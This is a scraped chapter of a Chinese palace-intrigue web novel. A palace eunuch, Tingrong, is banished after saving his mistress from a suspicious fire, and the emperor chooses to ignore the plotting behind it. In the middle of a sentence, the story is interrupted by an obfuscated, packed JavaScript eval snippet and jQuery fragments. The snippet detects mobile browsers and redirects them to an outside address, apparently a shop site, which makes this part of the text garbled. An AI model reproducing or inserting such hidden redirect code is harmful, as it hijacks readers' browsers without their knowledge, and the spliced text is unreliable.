13.第13章
作品:《踩骨登阶》 芷月担心她情绪太激动,身体受不住,安抚道:“您别怕,咱们已经回宫里了,这件事有皇上皇后做主,肯定会给您一个说法的。”
提到泰宣帝,循才人眼眶一红,问:“皇上可来瞧过我了?”
屋里一时陷入沉默。
还是采莺先开口:“皇上应该还在调查此事,一时没顾得上您,等有了结果,肯定会来看您的。”
循才人吸了吸鼻子,全是委屈。
她十九进宫,得宠才将将半年,正是最依赖泰宣帝的时候。
听容见状,只能转移她的注意力,把话题转到该问的事上:“主子,您刚才说酒有问题?”
循才人收了委屈,说起重点:“酒的味道是桂花米酿没错,但入口并没有那么柔和,却又没有特别辛辣。我只以为是酿的时间长了些才会如此,并未在意。现在想来,就不对劲儿了。”
芷月点头道:“就像听容之前说的,米酿不至于让主子不省人事。现在主子提到酒的味道不对,那很有可能是有人往米酿里兑了别的酒。这样既有桂花米酿的味道,又比平时喝的更醉人。”
“的确,可会是谁呢?御酿局?”循才人顺着这个思路往下想。
听容:“应该不会,御酿局送去的酒会有万和殿专门的太监尝过,确定味道、品类都没问题,才会收下。再说,要给您的酒里掺其他酒,还得能顺利送到您面前,就得买通这两处。这次家宴是皇后娘娘办的,方便这么做的人就指向了皇后,这太明显了反而可能性低。”
芷月同意:“皇后娘娘主理六宫,在她办的家宴上又是换酒又是起火的,岂不是让皇上怀疑皇后娘娘管理后宫的能力不行?”
“那会是谁?”循才人在激动的情绪过去后,只剩下了后怕,“我甚至不知道火是怎么起的。只隐约记得看到了火光,我想跑来着,可后面就想不起来了。”
“奴婢觉得最方便动手脚的恐怕是在给您端酒的过程中,这期间经手的人往酒壶里添点酒,是很难发现的。”芷月在宫里的时间长,知道的会多些。
循才人在床上呆坐了一会儿,又说:“失火会不会只是一场意外?有人往我酒里掺酒或许只是想让我酒醉离席,并不是要害我?”
闺阁女子没经历过这些,入宫受宠后,虽也遇上些事,却不至于威胁性命。如今骤然面对要命的事,有些人会选择冲出去博一博,而有些人会选择缩起来,将这一切当成误会,继续活在自己的桃源里。
听容没想到都到这个地步了,循才人还是会选择后者。蛎蝗的事他就不理解循才人的退缩,现在就更不理解了。他甚至生出了危机感,跟着这样的主子,他自己安全吗?
显然,不信这番话的不仅听容,芷月和采莺也是。屋里再次陷入沉默。
考虑再三,听容开口道:“如果只是意外,那这件事应该就到此为止了;如果不是意外,就算已经害不了您的性命了,对方恐怕也会在您反应过来之前,再做些什么。主子,您得打起精神来防范才是,不能任人鱼肉。”
上次听容觉得自己刚来没多久,所以不认同也没说什么。这次他依旧是长宁宫里资历最浅的,可为了自己的将来,他不得不提醒。
“我、我害怕。”循才人终是哭了起来。
大家都熬了一晚上,循才人留了采莺,让听容和芷月去睡会儿。
“姐姐,你觉得这事算完了吗?”听容想听听芷月的意思,他看得出,芷月心里想得多,但说得还是少。
芷月看了看听容,摇了摇头。
隔日,太医又来给请了脉,让循才人继续静养。太医刚走,泰宣帝身边的应顺公公就来了。
应顺笑眯眯地给循才人请了安,看着无害又恭敬:“皇上忙着前朝的事,实在不得空来看您,特差了奴才来。顺便跟您说一声,前日起火的事已经查明,是炭盆燎了娘娘们挂在那儿的衣裳引起的。
“万和殿只在办后宫家宴时才用,平日无人,难免湿冷。入春后天是暖和了些,可怕各位主子在殿内休息得不舒服,特放了个炭盆驱寒散湿,没想到烧着了衣裳,险些酿成大祸。
“皇后娘娘已经下令责罚了万和宫的奴才们,皇上也记挂您,等前朝的事处理完,皇上会来看您的。”
循才人像是松了口气,道:“查明了就好,我还需要静养,请公公代我谢过皇上和皇后娘娘。”
“是。”应顺从容的语气和微笑的表情,好像无形中让这件事变得不那么严重了,“您身边的小太监很得力,拼死将您背了出来。也幸得您有天恩庇佑,毫发无伤,否则皇上也无法专心国事了。”
听容没想到应顺公公给帮他邀功,不过他并不觉得喜悦,皇上一直没来,可不是好事。
“是啊,听容来的时间不长,但一直非常得力。”循才人露出舒心的笑容。
应顺笑了笑:“庄贵妃娘娘请了皇上去春萱宫用晚膳,奴才得回去伺候了,先告退了。”
“公公慢走。”循才人客客气气地说,泰宣帝身边的奴才是不能得罪的,况且应顺向来态度很好,她自然会更客气些。
等应顺走后,采莺才抱怨道:“不是说皇上前朝事忙吗?怎么还有空跟庄贵妃一起用膳,却不来看主子您?”
循才人垂眸掩住失望:“庄贵妃有大皇子傍身,皇上再怎么忙,也会去看她。”
采莺没话了,这的确是比不了的,不过她立刻又找到了可以慰藉的方法:“主子,等您这回养好了也加把劲儿,等您有了皇子,皇上肯定会更重视您的。”
循才人笑了笑,没说什么。
天刚擦黑,听容点上廊下的灯后准备去给循才人熬睡前的药时,突然闯进来一队奴才。
芷月听到动静赶紧出来看,随即惊讶有,但了然也有:“光全公公?您怎么来了,是庄贵妃娘娘有什么吩咐吗?”
听到“庄贵妃”三个字,听容的眼皮跳了跳。
光全拿眼角看人,哼了一声,高声道:“奉皇上口谕,长宁宫太监听容,擅离职守,钻营懒怠,护主不利,虽将循才人救出火场,却是死罪可免,活罪难逃。即日起,赶去勤耕苑。”
听容愣在当场,他去救了人,罚的却是他,这是他没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182651|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想到的。可这也印证了他的猜测,这件事没完。
芷月立刻挡在听容身前:“听容是长宁宫的太监,光全公公还是要进去跟循才人说明才是。”
皇上的口谕,并不需要经过循才人才能把人带走,可芷月想保听容,就得让循才人开口。
全光是懂规矩的,一脸嘲讽地说:“皇上口谕,谁敢不从?”
听到动静的循才人从屋里走了出来,佯装镇定地问:“怎么回事?”
光全给她行了个虚礼:“循才人,皇上的口谕已经说得很清楚了,听容以后不能在长宁宫伺候了。我们贵妃娘娘说了,请你好好养着,别又喝醉了,闹出事来故意想惹皇上心疼。”
光全的话等于是把侧殿失火说成了是循才人自己搞的名堂,为的就是装可怜博得圣心。如此颠倒黑白的说法光全肯定是不敢这么讲的,多半是庄贵妃的意思。
听容看向循才人,庄贵妃宫里的人来传旨,多半是庄贵妃鼓动了皇上把他赶走的。他不敢说循才人求请就一定有用,可作为被害的,如果循才人肯为他说句话,皇上不会不考虑。
循才人嘴唇动了动,似在琢磨怎么说。
光全皮笑肉不笑地说:“才人遇险,原本长宁宫的人都要罚。是我们娘娘好心,劝住了皇上,皇上考虑到采莺是您的陪嫁,芷月是大宫女,才只赶了听容出去,您就知足谢恩吧。”
芷月见循才人半天没说话,忙道:“听容救了主子,理应功过相抵才是。”
长宁宫的人都清楚,什么擅离职守,钻营懒怠都是没有的事。
循才人越不说话,听容的心就越凉。他看得出来,循才人是不会保他了。其实从循才人不敢斗开始,他就应该料到的,又或许他早料到了,只是没敢细想。
听容在心里叹了口气,比起跟着这样的主子,他还是离开得好。不过他心里隐隐还是抱着一丝希望的,至少循才人还没开口。
又过了片刻,就听循才人道:“既如此,就让听容去勤耕苑吧。”
最后一丝希望被掐灭,听容对这里已经没有任何留恋了。在长宁宫这段时日,循才人对他不错,他自认也尽到了奴才的本份。如今当主子的不护他,他就得自己继续找生路。塞翁失马,焉知非福?
泰宣帝在春萱宫用完晚膳,就回了温华殿。案上的奏折堆在那里,泰宣帝只撇了一眼,很不耐烦。
“长宁宫没动静?”泰宣帝问。
跟在他身后的应顺答:“没有呢。听容已经被带走了。”
泰宣帝感叹似地说道:“无用啊,也无能。”
应顺没有接话,他清楚不是自己接话的时候。
泰宣帝自顾自地说:“宫里的这些手段朕见得多了,只是没出大事,没必要追究,免得六宫纷扰,坏了朕的心情。”
“皇上圣明。”应顺自认已经尽到提醒循才人的责任,只是循才人没把他的话听进去,可惜了。
“就让她慢慢养着吧。去把良嫔叫来,朕想听琵琶。”
应顺应着就下去了,心中明镜一般——后宫的恩宠又要换一换了。

